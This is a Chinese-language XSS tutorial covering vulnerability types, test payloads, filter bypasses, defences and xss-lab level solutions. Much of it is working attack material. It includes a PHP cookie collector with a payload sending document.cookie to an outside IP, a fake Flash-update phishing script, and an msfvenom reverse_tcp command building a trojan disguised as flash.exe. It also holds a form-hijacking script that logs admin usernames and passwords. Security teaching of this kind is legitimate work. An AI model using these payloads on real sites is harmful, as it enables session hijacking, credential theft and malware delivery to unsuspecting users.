XSS漏洞

XSS漏洞介绍

​ XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故缩写为XSS。这是一种将任意JavaScript代码插入到其他Web用户页面里面执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里面嵌入恶意代码。当用户浏览该页时,这些嵌入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取等。

XSS产生原理

​ 形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输入到前端时被浏览器当作有效代码解析执行从而产生危害。

XSS的危害

  1. 网络钓鱼,包括获取各类用户账号
  2. 窃取用户cookie资料,从而获取用户隐私信息
  3. 劫持用户(浏览器)会话,从而执行任意操作
  4. 强制弹出广告页面,刷流量等
  5. 网页挂马
  6. 结合其他漏洞,如scrf,实施进一步危害

XSS常出现的地方

  1. 数据交互的地方

    1
    2
    3
    4
    get、post、cookies、headers
    反馈与浏览
    富文本编辑器
    各类标签插入和自定义
  2. 数据输出的地方

    1
    2
    3
    用户资料
    关键词、标签、说明
    文件上传

XSS类型

反射型

​ 又称为非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端。

常出现的位置

搜索栏、用户登录入口、输入表单等

攻击流程

image-20230414205357292

存储型

​ 存储型XSS(Stored xss Attacks),也就是持久型XSS,比反射型XSS更具有威胁性。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储与服务端(比如数据库中)。

常出现的位置

论坛、博客、留言板、网站的留言、评论、日志等交互处

攻击流程

image-20230414205750701

DOM型

​ DOM是文档对象模型(Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如JavaScript)与HTML元素之间的接口。解析树的根节点是“Document”对象。使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。

​ 它是基于DOM文档对象的一种漏洞,并且DOM型XSS是基于JS的,并不需要与服务器进行交互。

XSS常用测试语句

1
2
3
4
5
<script>alert(1)</script>
<img src=x onerror=alert()>
<svg onload=alert(1)/>
<a href=javascript:alert(1)/>
<details open ontoggle=confirm(document[`coo`+`kie`])/>

https://github.com/payloadbox/xss-payload-list

XSS攻击利用XSS平台

XSS平台

  1. https://xss.yt
  2. https://xssaq.com
  3. 自己搭建平台

手动测试

cookie.php

1
2
3
4
<?php
$cookie = $_REQUEST['abc'];
file_put_contents('cookie.txt',$cookie);
?>

payload

1
<script>document.location='http://100.100.100.26/cookie.php?cookie='+document.cookie</script>

beef-xss工具

安装:http://www.loongten.com/2020/01/08/pentest-xss-beef/(kali自带)

XSS钓鱼

version.js

1
2
3
4
5
6
7
8
9
10
window.alert = function(name){
var iframe = document. createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document. documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert( "您的FLASH版本过低,尝试升级后访问该⻚面! ");
window. location.href="http://192.168.1.21:8000";

payload

1
<script src="http://192.168.1.2:8000/version.js"></script>

生成木马

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=8000 -f exe > flash.exe

使用winrar制作压缩包(自解压exe)

将生成的木马放在网站上

XSS表单劫持

​ 已获取权限,但不知道管理员账号、密码

pass.php

1
2
3
4
5
6
<?php
$name=$_REQUEST['name'];
$pass=$_REQUEST['pass'];
$a="账号:".$name."密码:".$pass."||";
file_put_contents('pass.txt',$a,FILE_APPEND | LOCK_EX);
?>

payload

1
2
$a = '<script src=http://192.168.1.21/pass.php?name='.$name."&pass=".$passow rd.'></script>';
echo $a;

XSS常见绕过

  • 大小写绕过()

  • 双写绕过

  • 使用别的标签

  • 编码绕过

    • js编码、html实体编码、url编码、hex编码等
  • XSS黑名单绕过

    • 不使用" "

      1
      <input onfocus=alert('1') autofocus/>
    • 不使用 ' '

      1
      <input onfocus="alert(/1/)" autofocus/>
    • 不使用 ()

      1
      <input onfocus="alert`'1'`" autofocus/>
    • 不使用 () '' ""

      1
      <input onfocus=alert`1`autofocus/>
  • 使用html实体编码绕过

    1
    2
    3
    4
    //方法一
    <input onfocus="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;" autofocus/>
    //方法二
    <input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>
  • XSS绕过-onclick触发

    1
    2
    3
    <div onclick="alert('xss')"/>

    <div onmouseenter="alert('xss')"/>
    • onclick是鼠标点击事件,我们可以在元素中定义JavaScript事件;
    • 另一个绕过的办法就是在属性和=之间插入一个空格

XSS防御

​ 因为XSS漏洞涉及输入和输出两部分,所以其修复也分两种

A:过滤输入的数据,包括 ' " , < > on* 等非法字符。

B:对输出到页面的数据进行相应的编码转换,包括HTML实体编码、Javascript编码等。

C:输出编码:主要用HTML实体代替字面量字符,这样做可以确保浏览器安全处理可能存在的恶意字符,将其当作HTML文档的内容而非结构加以处理。

常见的实体编码

显示 实体名字 实体编号
< &lt; $#60;
> &gt; &#62;
& &amp; &#38;
&quot; &#34;
  1. 设置关键字黑名单

  2. 设置http-only

    https://blog.csdn.net/weixin_44270509/article/details/102844897

  3. 使用html实体编码等

  4. SOP(同源策略)

    SOP把拥有相同主机名、协议和端口的页面视为同一来源,不同来源的资源之间交互是受到限制的。

XSS-lab

xss-lab通关:payload
第一关:<script>alert(1)</script>
第二关:"><script>alert(1)</script>
第三关:' onclick='alert(1)
第四关:" onclick="alert(1)
第五关:"><a href='javascript:alert(1)'>
第六关:"><a HRef='javaScript:alert(1)'>
第七关:"><a hrhrefef='javascscriptript:alert(1)'>
第八关:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101 ;&#114;&#116;&#40;&#49;&#41;